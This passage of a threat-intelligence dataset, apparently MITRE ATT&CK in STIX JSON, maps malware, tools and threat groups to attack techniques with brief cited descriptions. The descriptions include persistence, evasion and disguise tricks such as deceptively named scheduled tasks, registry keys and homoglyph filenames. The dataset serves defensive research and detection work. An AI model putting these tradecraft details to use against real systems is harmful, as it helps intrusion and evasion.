2016)","relationship_type":"uses","source_ref":"malware--9752aef4-a1f3-4328-929f-b64eb0536090","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2019-04-17T22:12:24.831Z","description":"After copying itself to a DLL file, a variant of [Elise](https://attack.mitre.org/software/S0081) calls the DLL file using rundll32.exe.(Citation: Lotus Blossom Jun 2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37ad61e7-6520-47d0-81ae-f3d129b49ac1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T02:05:21.546Z","description":"[OnionDuke](https://attack.mitre.org/software/S0052) steals credentials from its victims.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--b136d088-a829-432c-ac26-5529c26d4c7e","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--37ad67f8-5b5c-4513-8465-fa584103f25b","created":"2024-03-22T20:13:55.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T21:11:32.917Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has used the filename `AutoUpdater.js` to mimic legitimate update files and has also used the Cyrillic homoglyph characters С `(0xd0a1)` and а `(0xd0b0)`, to produce the filename `Сhrome.Updаte.zip`.(Citation: Red Canary SocGholish March 2024)(Citation: SocGholish-update)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--37b3a79f-6f48-4c5c-9ec7-b063ad375083","created":"2019-01-31T00:36:41.187Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Konni May 2017","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has used HTTP POST for C2.(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021)","modified":"2022-04-13T17:25:36.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37b7ba1e-5093-4a0d-920b-c86d3c9c766b","type":"relationship","created":"2019-04-23T15:06:52.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.040Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains an implementation of [PsExec](https://attack.mitre.org/software/S0029) for remote execution.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37b9ae2f-a386-41aa-90be-497de2d580f5","type":"relationship","created":"2020-08-26T18:38:18.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-26T18:38:18.136Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can use TCP to communicate between its agent and client modules.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37ba7858-8765-4445-a65e-d2765b673b34","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://blog.morphisec.com/fin7-attacks-restaurant-industry","description":"Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.","source_name":"Morphisec FIN7 June 2017"}],"modified":"2020-03-18T00:08:24.654Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has created a scheduled task named “AdobeFlashSync” to establish persistence.(Citation: Morphisec FIN7 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37c94531-1e56-4640-93fd-e9fd65da4f80","type":"relationship","created":"2017-05-31T21:33:27.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.","source_name":"Kaspersky Darkhotel"}],"modified":"2020-03-16T20:05:43.536Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has used a keylogger.(Citation: Kaspersky Darkhotel)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--37d0c8b8-0b5e-4da5-bd35-5265b8f9d390","created":"2022-04-08T21:27:18.860Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CharmPower](https://attack.mitre.org/software/S0674) can send victim data via FTP with credentials hardcoded in the script.(Citation: Check Point APT35 CharmPower January 2022)","modified":"2022-04-08T21:27:18.860Z","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37da9e7e-f366-4211-84bd-34fd9c43d681","type":"relationship","created":"2020-08-17T14:37:43.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:37:43.670Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can inject its code into a trusted process via the APC queue.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37dd9a3c-dd52-4541-be7c-b490d026305c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:16.875Z","description":"[RTM](https://attack.mitre.org/software/S0148) tries to add a Registry Run key under the name \"Windows Update\" to establish persistence.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--37de6975-01c6-497f-bf45-902c302fae66","created":"2024-03-28T15:47:07.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:13:57.982Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--37e3dbd7-9ecc-4e3a-9fa3-488e3a910f55","created":"2022-06-09T19:18:06.140Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has renamed malicious binaries as `wallpaper.mp4` and `slideshow.mp4` to avoid detection.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T20:04:56.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37e4bb23-505b-41bb-a2f4-98501b065598","type":"relationship","created":"2020-05-06T18:10:59.312Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T18:10:59.312Z","description":"[Kivars](https://attack.mitre.org/software/S0437) has the ability to list drives on the infected host.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--37e520de-fe38-450b-a30e-3372f7ff3a4f","created":"2019-09-23T23:14:16.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.510Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--37e781a4-8ac2-49c9-956d-2c78a5cef3df","created":"2023-07-28T17:37:26.272Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-28T17:37:26.272Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized a proxy tool to communicate between compromised assets.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37e99b1d-cd16-43e2-9b5e-595180795671","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor for processes being viewed that may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37e9f2ca-a7cb-4cc1-bf0f-4e2d36711b88","type":"relationship","created":"2019-03-04T17:12:37.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Linux Rabbit 2018","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}],"modified":"2019-07-26T20:18:44.829Z","description":"[Linux Rabbit](https://attack.mitre.org/software/S0362) maintains persistence on an infected machine through rc.local and .bashrc files. (Citation: Anomali Linux Rabbit 2018)","relationship_type":"uses","source_ref":"malware--0efefea5-78da-4022-92bc-d726139e8883","target_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37ece881-96cf-441a-981d-ff3eeac292d7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-02-18T03:40:29.925Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) identifies processes and collects the process ids.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37f48df4-80b1-4f5b-917c-8ac699e5cc0e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-20T22:45:24.227Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) encodes C2 communications with base64.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37f81b38-7460-4750-a9f5-0df91bd20c59","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for newly constructed files that may establish persistence by executing malicious content triggered by an interrupt signal.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--63220765-d418-44de-8fae-694b3912317d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2020-06-02T16:14:00.911Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry. [BlackEnergy](https://attack.mitre.org/software/S0089) has searched for given file types.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37fd810c-c64d-482b-98d5-5a19ce77f9f6","type":"relationship","created":"2021-02-10T19:12:08.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:16:02.529Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can gather the IP address from the victim's machine using the IP config command.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--37fee9dc-701e-49be-8cec-b2fde4b533d8","created":"2020-07-17T15:58:56.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.777Z","description":"(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3801ca96-eb84-4edf-b51f-fa324d7c338c","created":"2024-05-07T19:11:33.578Z","revoked":false,"external_references":[{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-07T19:11:33.578Z","description":"(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--380743e5-616c-4524-96e6-d545e5b653ea","type":"relationship","created":"2019-07-22T15:49:28.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2021-03-23T22:13:35.084Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used Web shells and [HTRAN](https://attack.mitre.org/software/S0040) for C2 and to exfiltrate data.(Citation: Cybereason Soft Cell June 